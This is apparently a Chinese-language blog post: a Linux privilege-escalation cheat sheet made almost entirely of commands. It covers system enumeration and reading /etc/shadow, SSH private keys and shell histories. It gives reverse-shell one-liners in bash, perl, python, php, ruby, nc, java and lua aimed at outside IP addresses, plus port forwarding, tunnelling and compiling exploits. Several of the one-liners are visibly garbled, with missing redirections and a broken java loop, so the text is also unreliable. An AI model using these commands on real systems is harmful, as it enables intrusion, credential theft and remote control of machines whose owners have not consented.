linux 小马 提权指令,Linux 提权常用命令集(示例代码)

0x00 操作系统相关

操作系统类型版本

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release # Debian

cat /etc/redhat-release # Redhat

内核版本，是否是64位

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

环境变量

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

查看是否有打印机

lpstat -a

0x01 应用与服务相关

查看正在运行的程序及对应的用户权限

ps aux

ps -ef

top

cat /etc/services

以root权限运行的进程

ps aux | grep root

ps -ef | grep root

查看安装了的应用

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archives

ls -alh /var/cache/yum/

一些服务的配置文件

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/‘

计划任务

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

找存储的明文用户名，密码

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

0x02 通信与网络相关

查看当前网络地址

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

查看网络配置,DNS,DHCP,网关

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

查看网络通信

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

查看缓存

arp -e

route

/sbin/route -nee

tcpdump

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

交互式shell

bash版本：

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

perl -e ‘use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘

python版本:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);‘

php版本：

php -r ‘$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");‘

ruby版本：

ruby -rsocket -e‘f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)‘

nc版本：

nc -e /bin/sh 223.8.200.234 1234

nc不使用-e：

mknod /tmp/backpipe p

/bin/sh 0/tmp/backpipe

mknod:

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

java版本：

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat &5 >&5; done"] as String[])

p.waitFor()

lua版本：

lua -e "require(‘socket‘);require(‘os‘);t=socket.tcp();t:connect(‘202.103.243.122‘,‘1234‘);os.execute(‘/bin/sh -i &3 2>&3‘);"

端口转发

lcx -

lcx -listen 4567 33891 #Attacker

lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 [email protected] # Local Port

ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

隧道

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

0x03 用户相关

用户信息

id

who

w

last

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

grep -v -E "^#" /etc/passwd | awk -F: ‘$3 == 0 { print $1}‘ # 列出超级用户

awk -F: ‘($3 == "0") {print}‘ /etc/passwd #列出超级用户

cat /etc/sudoers

sudo -l

列家目录

ls -ahlR /root/

ls -ahlR /home/

从配置文件里面寻找密码

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

看其他用户的操作记录

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

ssh私钥

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

0x04 文件系统相关

/etc/目录下面文件

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/‘ 2>/dev/null # Anyone

ls -aRl /etc/ | awk ‘$1 ~ /^..w/‘ 2>/dev/null # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^.....w/‘ 2>/dev/null # Group

ls -aRl /etc/ | awk ‘$1 ~ /w.$/‘ 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

日志文件

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

查看网站文件

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

常见日志文件

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

文件挂载

mount

df -h

cat /etc/fstab

Find命令

find / -perm -1000 -type d 2>/dev/null # 只有目录所有者才可以更改删除

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null #从/，SGUD或者SUID开始查找，排除符号链接，深度为3个文件夹，显示详细的清单并去除错误信息

寻找可写目录

find / -writable -type d 2>/dev/null # 可写目录

find / -perm -222 -type d 2>/dev/null # 可写目录

find / -perm -o w -type d 2>/dev/null # 可写目录

find / -perm -o x -type d 2>/dev/null # 可执行目录

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # 可写可执行

目录

查找文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null # 可写文件

find / dir -xdev \( -nouser -o -nogroup \) -print 2>/dev/null # 无所有者文件

0x05 准备及攻击

查看语言支持

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

查看上传方式

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

寻找exp

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

编译exp

which gcc

gcc exp.c -o exp

运行

chmod +x exp

./exp

0x06 提权辅助脚本

以上并不全，可能会有什么错误，请各位大大指正或补充。多多学习交流。